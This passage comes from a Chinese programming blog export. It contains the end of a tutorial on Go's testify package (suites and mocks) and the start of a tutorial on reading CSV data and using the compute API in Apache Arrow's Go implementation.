Begin TestCase2 ---------------- SubTest setup -------------------- Begin TestCase2.Subtest1 -------------------- End TestCase2.Subtest1 ---------------- SubTest teardown ------------ End TestCase2 --------After ExampleSuite.TestCase2 ---- Test teardown Suite teardown 信息量很大，我们慢慢说！\n利用testify建立测试套件，我们需要自行定义嵌入了suite.Suite的结构体类型，如上面示例中的ExampleSuite。\ntestify与go testing兼容，由go test驱动执行，因此我们需要在一个TestXXX函数中创建ExampleSuite的实例，调用suite包的Run函数，并将执行权交给suite包的这个Run函数，后续的执行逻辑就是suite包Run函数的执行逻辑。在上述代码中，我们只定义了一个TestXXX，并使用suite.Run函数执行了ExampleSuite中的所有测试用例。\nsuite.Run函数的执行逻辑大致是：通过反射机制得到了*ExampleSuite类型的方法集合，并执行方法集合中名字以Test为前缀的所有方法。testify将用户自定义的XXXSuite类型中的每个以Test为前缀的方法当作是一个TestCase。\n除了Suite和TestCase的概念外，testify.suite包还“预埋”了很多回调点，包括suite的Setup、TearDown；test case的Setup和TearDown、testcase的before和after；subtest的Setup和TearDown，这些回调点也由suite.Run函数来执行，回调点的执行顺序可以通过上面示例的执行结果看到。\n注意：subtest要通过XXXSuite的Run方法执行，而不要通过标准库testing.T的Run方法执行。\n我们知道：go test工具可以通过-run命令行参数来选择要执行的TestXXX函数，考虑到testify使用TestXXX函数拉起测试套件(XXXSuite)，因此从testify视角来看，通过go test -run可以选择执行哪个XXXSuite，前提是一个TestXXX中仅初始化和运行一种XXXSuite的所有测试用例。\n如果要选择XXXSuite的方法(即testify眼中的测试用例)，我们不能用-run了，需要使用testify新增的-m命令行选项，下面是一个仅执行带有Case2关键字测试用例的示例：\n$go test -testify.m Case2 Suite setup ---- Test setup --------Before ExampleSuite.TestCase2 ------------ Begin TestCase2 ---------------- SubTest setup -------------------- Begin TestCase2.Subtest1 -------------------- End TestCase2.Subtest1 ---------------- SubTest teardown ------------ End TestCase2 --------After ExampleSuite.TestCase2 ---- Test teardown Suite teardown PASS ok demo 0.014s 综上，如果你使用testify的Suite/Case概念来组织你的测试代码，建议在每个TestXXX中仅初始化和运行一个XXXSuite，这样你可以通过-run选择特定的Suite执行。\n4. mock包 最后我们来看看testify为辅助Go开发人员编写测试代码而提供的一个高级特性：mock。\n在之前的文章中，我提到过：尽量使用fake object，而不是mock object。mock这种测试替身有其难于理解、使用场合局限以及给予开发人员信心不足等弊端。\n注：近期原Go官方维护的golang/mock也将维护权迁移给了uber，迁移后的新的mock库为go.uber.org/mock。我在《Go语言精进之路 vol2》一书中对golang/mock做过详细的使用介绍，有兴趣的朋友可以去读一读。\n但“存在即合理”，显然mock也有它的用武空间，在社区也有它的拥趸，既然testify提供了mock包，这里就简单介绍一下它的基本使用方法。\n我们用一个经典repo service的例子来演示如何使用testify mock，如下面代码示例：\n// mock/mock_test.go type User struct { ID int Name string Age int } type UserRepository interface { CreateUser(user *User) (int, error) GetUserById(id int) (*User, error) } type UserService struct { repo UserRepository } func NewUserService(repo UserRepository) *UserService { return \u0026amp;UserService{repo: repo} } func (s *UserService) CreateUser(name string, age int) (*User, error) { user := \u0026amp;User{Name: name, Age: age} id, err := s.repo.CreateUser(user) if err != nil { return nil, err } user.ID = id return user, nil } func (s *UserService) GetUserById(id int) (*User, error) { return s.repo.GetUserById(id) } 我们要提供一个UserService服务，通过该服务可以创建User，也可以通过ID获取User信息。服务的背后是一个UserRepository，你可以用任何方法实现UserRepository，为此我们将其抽象为一个接口UserRepository。UserService要依赖UserRepository才能让它的两个方法CreateUser和GetUserById正常工作。现在我们要测试UserService的这两个方法，但我们手里没有现成的UserRepository实现可用，我们也没有UserRepository的fake object。\n这时我们仅能用mock。下面是使用testify mock给出的UserRepository接口的实现UserRepositoryMock：\n// mock/mock_test.go type UserRepositoryMock struct { mock.Mock } func (m *UserRepositoryMock) CreateUser(user *User) (int, error) { args := m.Called(user) return args.Int(0), args.Error(1) } func (m *UserRepositoryMock) GetUserById(id int) (*User, error) { args := m.Called(id) return args.Get(0).(*User), args.Error(1) } 我们基于mock.Mock创建一个新结构体类型UserRepositoryMock，这就是我们要创建的模拟UserRepository。我们实现了它的两个方法，与正常方法实现不同的是，在方法中我们使用的是mock.Mock提供的方法Called以及它的返回值来满足CreateUser和GetUserById两个方法的参数与返回值要求。\nUserRepositoryMock这两个方法的实现是比较“模式化”的，其中调用的Called接收了外部方法的所有参数，然后通过Called的返回值args来构造满足外部方法的返回值。返回值构造的书写格式如下：\nargs.\u0026lt;ReturnValueType\u0026gt;(\u0026lt;index\u0026gt;) // 其中index从0开始 以CreateUser为例，它有两个返回值int和error，那按照上面的书写格式，我们的返回值就应该为：args.int(0)和args.Error(1)。\n对于复杂结构的返回值类型T，可使用断言方式，书写格式变为：\nargs.Get(index).(T) 再以构造GetUserById的返回值*User和error为例，我们按照复杂返回值构造的书写格式来编写，返回值就应该为args.Get(0).(*User)和args.Error(1)。\n有了Mock后的UserRepository，我们就可以来编写UserService的方法的测试用例了：\n// mock/mock_test.go func TestUserService_CreateUser(t *testing.T) { repo := new(UserRepositoryMock) service := NewUserService(repo) user := \u0026amp;User{Name: \u0026quot;Alice\u0026quot;, Age: 30} repo.On(\u0026quot;CreateUser\u0026quot;, user).Return(1, nil) createdUser, err := service.CreateUser(user.Name, user.Age) assert.NoError(t, err) assert.Equal(t, 1, createdUser.ID) assert.Equal(t, \u0026quot;Alice\u0026quot;, createdUser.Name) assert.Equal(t, 30, createdUser.Age) repo.AssertExpectations(t) } func TestUserService_GetUserById(t *testing.T) { repo := new(UserRepositoryMock) service := NewUserService(repo) user := \u0026amp;User{ID: 1, Name: \u0026quot;Alice\u0026quot;, Age: 30} repo.On(\u0026quot;GetUserById\u0026quot;, 1).Return(user, nil) foundUser, err := service.GetUserById(1) assert.NoError(t, err) assert.Equal(t, 1, foundUser.ID) assert.Equal(t, \u0026quot;Alice\u0026quot;, foundUser.Name) assert.Equal(t, 30, foundUser.Age) repo.AssertExpectations(t) } 这两个TestXXX函数的编写模式也十分相近，以TestUserService_GetUserById为例，它先创建了UserRepositoryMock和UserService的实例，然后利用UserRepositoryMock来设置即将被调用的GetUserById方法的输入参数与返回值：\nuser := \u0026amp;User{ID: 1, Name: \u0026quot;Alice\u0026quot;, Age: 30} repo.On(\u0026quot;GetUserById\u0026quot;, 1).Return(user, nil) 这样当GetUserById在service.GetUserById方法中被调用时，它返回的就是上面设置的user地址值和nil。\n之后，我们像常规测试用例那样，用assert包对返回的值与预期值做断言即可。\n5. 小结 在本文中，我们讲解了testify这个第三方辅助测试包的结构，并针对其中的assert/require、suite和mock这几个相对独立的Go包的用法做了重点说明。\nassert/require包是功能十分全面的测试断言包，即便你不使用suite、mock，你也可以单独使用assert/require包来减少你的测试代码中if != xxx的书写行数。\nsuite包则为我们提供了一个类xUnit的Suite/Case的测试代码组织形式的实现方案，并且这种方案与go testing包兼容，由go test驱动。\n虽然我不建议用mock，但testify mock也实现了mock机制的基本功能。并且文中没有提及的是，结合mockery工具和testify mock，我们可以针对接口为被测目标自动生成testify的mock部分代码，这会大大提交mock test的编写效率。\n综上来看，testify这个项目的确非常有用，可以很好的辅助Go开发者高效的编写和组织测试用例。目前testify正在策划dev v2版本 ，相信不久将来落地的v2版本能给Go开发者带来更多的帮助。\n本文涉及到的源码可以在这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/07/16/the-guide-of-go-testing-with-testify-package/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-guide-of-go-testing-with-testify-package-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/07/16/the-guide-of-go-testing-with-testify-package\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/07/16/the-guide-of-go-testing-with-testify-package\"\u003ehttps://tonybai.com/2023/07/16/the-guide-of-go-testing-with-testify-package\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e我虽然算不上Go标准库的“清教徒”，但在测试方面还多是基于标准库testing包以及go test框架的，除了需要mock的时候，基本上没有用过第三方的Go测试框架。我在\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e《Go语言精进之路》\u003c/a\u003e一书中对Go测试组织的讲解也是基于Go testing包和go test框架的。\u003c/p\u003e","title":"使用testify包辅助Go测试指南"},{"content":"\n本文永久链接 – https://tonybai.com/2023/07/13/a-guide-of-using-apache-arrow-for-gopher-part4\n在前面的Arrow系列文章中，我们介绍了Arrow的基础数据类型以及高级数据类型，这让我们具备了在内存中建立起一个immutable数据集的能力。但这并非我们的目标，我们最终是要对建立起来的数据集进行查询和分析等操作(manipulation)的。\n在这一篇文章中，我们就来看看如何基于Go arrow的实现对内存中的Arrow数据集进行操作。\n注：由于Arrow官方文档尚没有Go语言的cookbook，这里的一些例子参考了其他语言的Cookbook，比如Python。\n1. 从CSV文件中读取数据 在操作数据之前，我们首先需要准备数据，并将数据读取到内存中以Arrow的列式存储形式组织起来。Arrow的Go实现支持从多种文件格式中将数据读取出来并在内存中构建出Arrow列式数据集：\n从图中我们看到：Arrow Go支持读取的文件格式包括CSV、JSON和Parquet等。CSV、JSON都是日常最常用的文件格式，那么Parquet是什么呢？这是一种面向列的文件存储格式，支持高效的数据存储和数据获取能力。influxdb iox存储引擎采用的就是Apache Arrow + Parquet的经典组合。我们在本系列的后续文章中会单独说一下Arrow + Parquet，在本文中Parquet不是重点。\n注：Parquet的读音是：[’pɑːkeɪ] 。\n在这篇文章中，我们以从CSV文件中读取数据为例。我们的CSV文件来自于Kaggle平台上的开放数据集，这是一份记录着Delhi这个地方(应该是印度城市德里)1996年到2017年小时级的天气数据的CSV文件：testset.csv。该文件带有列头，有20列，10w多行记录。\n我们先来小试牛刀，即取该csv文件前10几行，存成名为testset.tiny.csv的文件。我们编写一段Go程序来读取CSV中的数据并在内存中建立一个Arrow Record Batch！大家还记得Arrow Record Batch是什么结构了么？我们回顾一下“高级数据结构”中的那张图你就记起来了：\n接下来我们就使用Arrow Go实现提供的csv包读取testset.tiny.csv文件并输出经由读出的数据建构的Record Batch：\n// read_tiny_csv_multi_trunks.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;io\u0026quot; \u0026quot;os\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow/csv\u0026quot; ) func read(data io.ReadCloser) error { // read 5 lines at a time to create record batches rdr := csv.NewInferringReader(data, csv.WithChunk(5), // strings can be null, and these are the values // to consider as null csv.WithNullReader(true, \u0026quot;\u0026quot;, \u0026quot;null\u0026quot;, \u0026quot;[]\u0026quot;), // assume the first line is a header line which names the columns csv.WithHeader(true)) for rdr.Next() { rec := rdr.Record() fmt.Println(rec) } return nil } func main() { data, err := os.Open(\u0026quot;./testset.tiny.csv\u0026quot;) if err != nil { panic(err) } read(data) } 这里的csv包可不是标准库中的那个包，而是Arrow Go实现中专门用于将csv文件数据读取并转换为Arrow内存对象的包。csv包提供了两个创建csv.Reader实例的函数，这里使用的是NewInferringReader(即带列类型推导的Reader)。该函数可以自动读取位于第一行的csv文件的header，获取列字段的名称与个数，形成Record的schema，并在读取下一条记录时尝试推导(infer)这一列的类型(data type)。\n这里在调用NewInferringReader时还传入了一个功能选项开关WithChunk(5)，即一次读取5条记录来构建一个新的Record Batch。\n我们运行一下上面的代码：\n$go run read_tiny_csv_multi_trunks.go record: schema: fields: 20 - datetime_utc: type=utf8, nullable - _conds: type=utf8, nullable - _dewptm: type=int64, nullable - _fog: type=int64, nullable - _hail: type=int64, nullable - _heatindexm: type=utf8, nullable - _hum: type=int64, nullable - _precipm: type=utf8, nullable - _pressurem: type=int64, nullable - _rain: type=int64, nullable - _snow: type=int64, nullable - _tempm: type=int64, nullable - _thunder: type=int64, nullable - _tornado: type=int64, nullable - _vism: type=int64, nullable - _wdird: type=int64, nullable - _wdire: type=utf8, nullable - _wgustm: type=utf8, nullable - _windchillm: type=utf8, nullable - _wspdm: type=float64, nullable rows: 5 col[0][datetime_utc]: [\u0026quot;19961101-11:00\u0026quot; \u0026quot;19961101-12:00\u0026quot; \u0026quot;19961101-13:00\u0026quot; \u0026quot;19961101-14:00\u0026quot; \u0026quot;19961101-16:00\u0026quot;] col[1][ _conds]: [\u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot;] col[2][ _dewptm]: [9 10 11 10 11] col[3][ _fog]: [0 0 0 0 0] col[4][ _hail]: [0 0 0 0 0] col[5][ _heatindexm]: [(null) (null) (null) (null) (null)] col[6][ _hum]: [27 32 44 41 47] col[7][ _precipm]: [(null) (null) (null) (null) (null)] col[8][ _pressurem]: [1010 -9999 -9999 1010 1011] col[9][ _rain]: [0 0 0 0 0] col[10][ _snow]: [0 0 0 0 0] col[11][ _tempm]: [30 28 24 24 23] col[12][ _thunder]: [0 0 0 0 0] col[13][ _tornado]: [0 0 0 0 0] col[14][ _vism]: [5 (null) (null) 2 (null)] col[15][ _wdird]: [280 0 0 0 0] col[16][ _wdire]: [\u0026quot;West\u0026quot; \u0026quot;North\u0026quot; \u0026quot;North\u0026quot; \u0026quot;North\u0026quot; \u0026quot;North\u0026quot;] col[17][ _wgustm]: [(null) (null) (null) (null) (null)] col[18][ _windchillm]: [(null) (null) (null) (null) (null)] col[19][ _wspdm]: [7.4 (null) (null) (null) 0] 我们看到结果输出了将csv文件中数据读取并转换后的Record Batch的信息！\n不过这个结果有一个问题，那就是我们的testset.tiny.csv有12行数据，上述结果为什么仅读出了5行呢？利用go.work引用本地下载的arrow代码做一下print调试后发现这样的一个错误：\nstrconv.ParseInt: parsing \u0026quot;1.2\u0026quot;: invalid syntax 翻看一下testset.tiny.csv文件，在第五行发现了包含1.2的这条数据：\n19961101-16:00,Smoke,11,0,0,,47,,1011,0,0,23,0,0,1.2,0,North,,,0 1.2这数据对应的是” _vism”这一列，我们看一下上面这一列的schema信息：\n- _vism: type=int64, nullable 我们看到NewInferringReader将这一列识别成int64类型了！NewInferringReader是根据第一行数据中来做类型推导的，而vism这一列的第一条数据恰为5，将其推导为int64也就不足为奇了。那么如何修正上述问题呢？NewInferringReader提供了一个WithColumnTypes的功能选项，通过它我们可以指定vism列的Arrow DataType：\nrdr := csv.NewInferringReader(data, csv.WithChunk(5), // strings can be null, and these are the values // to consider as null csv.WithNullReader(true, \u0026quot;\u0026quot;, \u0026quot;null\u0026quot;, \u0026quot;[]\u0026quot;), // assume the first line is a header line which names the columns csv.WithHeader(true), csv.WithColumnTypes(map[string]arrow.DataType{ \u0026quot; _vism\u0026quot;: arrow.PrimitiveTypes.Float64, }), ) 修改后，我们再来运行一下read_tiny_csv_multi_trunks.go这个文件的代码：\n$go run read_tiny_csv_multi_trunks.go record: schema: fields: 20 - datetime_utc: type=utf8, nullable - _conds: type=utf8, nullable - _dewptm: type=int64, nullable - _fog: type=int64, nullable - _hail: type=int64, nullable - _heatindexm: type=utf8, nullable - _hum: type=int64, nullable - _precipm: type=utf8, nullable - _pressurem: type=int64, nullable - _rain: type=int64, nullable - _snow: type=int64, nullable - _tempm: type=int64, nullable - _thunder: type=int64, nullable - _tornado: type=int64, nullable - _vism: type=float64, nullable - _wdird: type=int64, nullable - _wdire: type=utf8, nullable - _wgustm: type=utf8, nullable - _windchillm: type=utf8, nullable - _wspdm: type=float64, nullable rows: 5 col[0][datetime_utc]: [\u0026quot;19961101-11:00\u0026quot; \u0026quot;19961101-12:00\u0026quot; \u0026quot;19961101-13:00\u0026quot; \u0026quot;19961101-14:00\u0026quot; \u0026quot;19961101-16:00\u0026quot;] col[1][ _conds]: [\u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot;] col[2][ _dewptm]: [9 10 11 10 11] col[3][ _fog]: [0 0 0 0 0] col[4][ _hail]: [0 0 0 0 0] col[5][ _heatindexm]: [(null) (null) (null) (null) (null)] col[6][ _hum]: [27 32 44 41 47] col[7][ _precipm]: [(null) (null) (null) (null) (null)] col[8][ _pressurem]: [1010 -9999 -9999 1010 1011] col[9][ _rain]: [0 0 0 0 0] col[10][ _snow]: [0 0 0 0 0] col[11][ _tempm]: [30 28 24 24 23] col[12][ _thunder]: [0 0 0 0 0] col[13][ _tornado]: [0 0 0 0 0] col[14][ _vism]: [5 (null) (null) 2 1.2] col[15][ _wdird]: [280 0 0 0 0] col[16][ _wdire]: [\u0026quot;West\u0026quot; \u0026quot;North\u0026quot; \u0026quot;North\u0026quot; \u0026quot;North\u0026quot; \u0026quot;North\u0026quot;] col[17][ _wgustm]: [(null) (null) (null) (null) (null)] col[18][ _windchillm]: [(null) (null) (null) (null) (null)] col[19][ _wspdm]: [7.4 (null) (null) (null) 0] record: schema: fields: 20 - datetime_utc: type=utf8, nullable - _conds: type=utf8, nullable - _dewptm: type=int64, nullable - _fog: type=int64, nullable - _hail: type=int64, nullable - _heatindexm: type=utf8, nullable - _hum: type=int64, nullable - _precipm: type=utf8, nullable - _pressurem: type=int64, nullable - _rain: type=int64, nullable - _snow: type=int64, nullable - _tempm: type=int64, nullable - _thunder: type=int64, nullable - _tornado: type=int64, nullable - _vism: type=float64, nullable - _wdird: type=int64, nullable - _wdire: type=utf8, nullable - _wgustm: type=utf8, nullable - _windchillm: type=utf8, nullable - _wspdm: type=float64, nullable rows: 5 col[0][datetime_utc]: [\u0026quot;19961101-17:00\u0026quot; \u0026quot;19961101-18:00\u0026quot; \u0026quot;19961101-19:00\u0026quot; \u0026quot;19961101-20:00\u0026quot; \u0026quot;19961101-21:00\u0026quot;] col[1][ _conds]: [\u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot;] col[2][ _dewptm]: [12 13 13 13 13] col[3][ _fog]: [0 0 0 0 0] col[4][ _hail]: [0 0 0 0 0] col[5][ _heatindexm]: [(null) (null) (null) (null) (null)] col[6][ _hum]: [56 60 60 68 68] col[7][ _precipm]: [(null) (null) (null) (null) (null)] col[8][ _pressurem]: [1011 1010 -9999 -9999 1010] col[9][ _rain]: [0 0 0 0 0] col[10][ _snow]: [0 0 0 0 0] col[11][ _tempm]: [21 21 21 19 19] col[12][ _thunder]: [0 0 0 0 0] col[13][ _tornado]: [0 0 0 0 0] col[14][ _vism]: [(null) 0.8 (null) (null) (null)] col[15][ _wdird]: [0 0 0 0 0] col[16][ _wdire]: [\u0026quot;North\u0026quot; \u0026quot;North\u0026quot; \u0026quot;North\u0026quot; \u0026quot;North\u0026quot; \u0026quot;North\u0026quot;] col[17][ _wgustm]: [(null) (null) (null) (null) (null)] col[18][ _windchillm]: [(null) (null) (null) (null) (null)] col[19][ _wspdm]: [(null) 0 (null) (null) (null)] record: schema: fields: 20 - datetime_utc: type=utf8, nullable - _conds: type=utf8, nullable - _dewptm: type=int64, nullable - _fog: type=int64, nullable - _hail: type=int64, nullable - _heatindexm: type=utf8, nullable - _hum: type=int64, nullable - _precipm: type=utf8, nullable - _pressurem: type=int64, nullable - _rain: type=int64, nullable - _snow: type=int64, nullable - _tempm: type=int64, nullable - _thunder: type=int64, nullable - _tornado: type=int64, nullable - _vism: type=float64, nullable - _wdird: type=int64, nullable - _wdire: type=utf8, nullable - _wgustm: type=utf8, nullable - _windchillm: type=utf8, nullable - _wspdm: type=float64, nullable rows: 2 col[0][datetime_utc]: [\u0026quot;19961101-22:00\u0026quot; \u0026quot;19961101-23:00\u0026quot;] col[1][ _conds]: [\u0026quot;Smoke\u0026quot; \u0026quot;Smoke\u0026quot;] col[2][ _dewptm]: [13 12] col[3][ _fog]: [0 0] col[4][ _hail]: [0 0] col[5][ _heatindexm]: [(null) (null)] col[6][ _hum]: [68 64] col[7][ _precipm]: [(null) (null)] col[8][ _pressurem]: [1009 1009] col[9][ _rain]: [0 0] col[10][ _snow]: [0 0] col[11][ _tempm]: [19 19] col[12][ _thunder]: [0 0] col[13][ _tornado]: [0 0] col[14][ _vism]: [(null) (null)] col[15][ _wdird]: [0 0] col[16][ _wdire]: [\u0026quot;North\u0026quot; \u0026quot;North\u0026quot;] col[17][ _wgustm]: [(null) (null)] col[18][ _windchillm]: [(null) (null)] col[19][ _wspdm]: [(null) (null)] 这次12行数据都被成功读取出来了！\n接下来，我们再来读取一下完整数据集testset.csv，我们通过输出读取的数据集行数来判断一下读取是否完全成功：\n// read_csv_rows_count.go func read(data io.ReadCloser) error { var total int64 // read 10000 lines at a time to create record batches rdr := csv.NewInferringReader(data, csv.WithChunk(10000), // strings can be null, and these are the values // to consider as null csv.WithNullReader(true, \u0026quot;\u0026quot;, \u0026quot;null\u0026quot;, \u0026quot;[]\u0026quot;), // assume the first line is a header line which names the columns csv.WithHeader(true), csv.WithColumnTypes(map[string]arrow.DataType{ \u0026quot; _vism\u0026quot;: arrow.PrimitiveTypes.Float64, }), ) for rdr.Next() { rec := rdr.Record() total += rec.NumRows() } fmt.Println(\u0026quot;total columns =\u0026quot;, total) return nil } 我们开着错误输出的调试语句，看看上面的代码的输出结果：\n======nextn: strconv.ParseInt: parsing \u0026quot;N/A\u0026quot;: invalid syntax total columns = 10000 我们看到上述程序仅读取了1w条记录，并输出了一个错误信息：CSV文件中包含“N/A”字样的数据，导致CSV Reader读取失败。经过数据对比核查，发现hum的数据存在大量“N/A”，另外pressurem的类型也有问题。那么如何解决这个问题呢？NewInferringReader提供了WithIncludeColumns功能选项可以供我们提供我们想要的列，这样我们可以给出一个列白名单，将hum列排除在外。修改后的read代码如下：\n// read_csv_rows_count_with_col_filter.go func read(data io.ReadCloser) error { var total int64 // read 10000 lines at a time to create record batches rdr := csv.NewInferringReader(data, csv.WithChunk(10000), // strings can be null, and these are the values // to consider as null csv.WithNullReader(true, \u0026quot;\u0026quot;, \u0026quot;null\u0026quot;, \u0026quot;[]\u0026quot;), // assume the first line is a header line which names the columns csv.WithHeader(true), csv.WithColumnTypes(map[string]arrow.DataType{ \u0026quot; _pressurem\u0026quot;: arrow.PrimitiveTypes.Float64, }), csv.WithIncludeColumns([]string{ \u0026quot;datetime_utc\u0026quot;, // 19961101-11:00 \u0026quot; _conds\u0026quot;, // Smoke、Haze \u0026quot; _fog\u0026quot;, // 0 \u0026quot; _heatindexm\u0026quot;, \u0026quot; _pressurem\u0026quot;, // \u0026quot; _rain\u0026quot;, // \u0026quot; _snow\u0026quot;, // \u0026quot; _tempm\u0026quot;, // \u0026quot; _thunder\u0026quot;, // \u0026quot; _tornado\u0026quot;, // }), ) for rdr.Next() { rec := rdr.Record() total += rec.NumRows() } fmt.Println(\u0026quot;total columns =\u0026quot;, total) return nil } 运行修改后的代码：\n$go run read_csv_rows_count_with_col_filter.go total columns = 100990 我们顺利将CSV中的数据读到了内存中，并组织成了多个Record Batch。\n2. Arrow compute API介绍 一旦内存中有了Arrow格式的数据后，我们就可以基于这份数据进行数据操作了，比如过滤、查询、计算、转换等等。那么是否需要开发人员自己根据对Arrow type的结构的理解来实现针对这些数据操作的算法呢？不用的！\nArrow社区提供了compute API以及各种语言的高性能实现以供基于Arrow格式进行数据操作的开发人员直接复用。\nGo Arrow实现也提供了compute包用于操作内存中的Arrow object。不过根据compute包的注释来看，目前Go compute包还属于实验性质，并非stable的API，将来可能有变：\n// The overwhemling majority of things in this package require go1.18 as // it utilizes generics. The files in this package and its sub-packages // are all excluded from being built by go versions lower than 1.18 so // that the larger Arrow module itself is still compatible with go1.17. // // Everything in this package should be considered Experimental for now. package compute 另外我们从上面注释也可以看到，compute包用到了泛型，因此需要Go 1.18及以后版本才能使用。\n为了更好地理解compute API，我们需要知道一些有关compute的概念，首先了解一下Datum。\n2.1 Datum compute API中的函数需要支持多种类型数据作为输入，可以是arrow的array type，也可以是一个标量值(scalar)，为了统一输出表示，compute API建立了一个名为Datum的抽象。Datum可以理解为一个compute API函数可以接受的各种arrow类型的union类型，union中既可以是一个scalar(标量值），也可以是Array、Chunked Array，甚至是一整个Record Batch或一个Arrow Table。\n不出预料，Go中采用接口来建立Datum这个抽象：\n// Datum is a variant interface for wrapping the various Arrow data structures // for now the various Datum types just hold a Value which is the type they // are wrapping, but it might make sense in the future for those types // to actually be aliases or embed their types instead. Not sure yet. type Datum interface { fmt.Stringer Kind() DatumKind Len() int64 Equals(Datum) bool Release() data() any } Datum支持的类型通过DatumKind的常量枚举值可以看出：\n// DatumKind is an enum used for denoting which kind of type a datum is encapsulating type DatumKind int const ( KindNone DatumKind = iota // none KindScalar // scalar KindArray // array KindChunked // chunked_array KindRecord // record_batch KindTable // table ) 2.2 Function Type compute包提供的是协助数据操作和分析的函数，这些函数可以被分为几类，我们由简单到复制的顺序逐一看一下：\n2.2.1 标量(scalar)函数或逐元素(element-wise)函数 这类函数接受一个scalar参数或一个array类型的datum参数，函数会对输入参数中的逐个元素进行操作，比如求反、求绝对值等。如果传入的是scalar，则返回scalar，如果传入的是array类型，则返回array类型。传入和返回的array长度应相同。\n下图(来自《In-Memory Analytics with Apache Arrow》一书)直观地解释了这类函数的操作特性：\n我们用go代码实现一下上图中的两个示例，先来看unary element-wise操作的例子：\n// unary_elementwise_function.go func main() { data := []int32{5, 10, 0, 25, 2} bldr := array.NewInt32Builder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues(data, nil) arr := bldr.NewArray() defer arr.Release() dat, err := compute.Negate(context.Background(), compute.ArithmeticOptions{}, compute.NewDatum(arr)) if err != nil { fmt.Println(err) return } arr1, ok := dat.(*compute.ArrayDatum) if !ok { fmt.Println(\u0026quot;type assert fail\u0026quot;) return } fmt.Println(arr1.MakeArray()) // [-5 -10 0 -25 -2] } compute包实现了常见的一元和二元arithmetic函数：\n下面是二元Add操作的示例：\n// binary_elementwise_function.go func main() { data1 := []int32{5, 10, 0, 25, 2} data2 := []int32{1, 5, 2, 10, 5} scalarData1 := int32(6) bldr := array.NewInt32Builder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues(data1, nil) arr1 := bldr.NewArray() defer arr1.Release() bldr.AppendValues(data2, nil) arr2 := bldr.NewArray() defer arr2.Release() result1, err := compute.Add(context.Background(), compute.ArithmeticOptions{}, compute.NewDatum(arr1), compute.NewDatum(arr2)) if err != nil { fmt.Println(err) return } result2, err := compute.Add(context.Background(), compute.ArithmeticOptions{}, compute.NewDatum(arr1), compute.NewDatum(scalarData1)) if err != nil { fmt.Println(err) return } resultArr1, ok := result1.(*compute.ArrayDatum) if !ok { fmt.Println(\u0026quot;type assert fail\u0026quot;) return } fmt.Println(resultArr1.MakeArray()) // [6 15 2 35 7] resultArr2, ok := result2.(*compute.ArrayDatum) if !ok { fmt.Println(\u0026quot;type assert fail\u0026quot;) return } fmt.Println(resultArr2.MakeArray()) // [11 16 6 31 8] } 在这个示例里，我们实现了array + array和array + scalar两个操作，两个加法操作的结果都是一个新array。\n接下来我们来看\n2.2.2 array-wise(逐array)函数 这一类的函数使用整个array进行操作，经常进行转换或输出与输入array不同长度的结果。下图(来自《In-Memory Analytics with Apache Arrow》一书)直观地解释了这类函数的操作特性：\nGo compute包没有提供sort_unique函数，这里用Unique模拟一个unary array-wise操作，代码如下：\n// unary_arraywise_function.go func main() { data := []int32{5, 10, 0, 25, 2, 10, 2, 25} bldr := array.NewInt32Builder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues(data, nil) arr := bldr.NewArray() defer arr.Release() dat, err := compute.Unique(context.Background(), compute.NewDatum(arr)) if err != nil { fmt.Println(err) return } arr1, ok := dat.(*compute.ArrayDatum) if !ok { fmt.Println(\u0026quot;type assert fail\u0026quot;) return } fmt.Println(arr1.MakeArray()) // [5 10 0 25 2] } 而上图中的二元array-wise Filter操作可以由下面代码实现：\n// binary_arraywise_function.go func main() { data := []int32{5, 10, 0, 25, 2} filterMask := []bool{true, false, true, false, true} bldr := array.NewInt32Builder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues(data, nil) arr := bldr.NewArray() defer arr.Release() bldr1 := array.NewBooleanBuilder(memory.DefaultAllocator) defer bldr1.Release() bldr1.AppendValues(filterMask, nil) filterArr := bldr1.NewArray() defer filterArr.Release() dat, err := compute.Filter(context.Background(), compute.NewDatum(arr), compute.NewDatum(filterArr), compute.FilterOptions{}) if err != nil { fmt.Println(err) return } arr1, ok := dat.(*compute.ArrayDatum) if !ok { fmt.Println(\u0026quot;type assert fail\u0026quot;) return } fmt.Println(arr1.MakeArray()) // [5 0 2] } 注意：compute.Filter函数要求传入的value datum和filter datum的底层array长度要相同。\n2.2.3 聚合(Aggregation)函数 Arrow compute支持两类聚合函数，一类是标量聚合(scalar 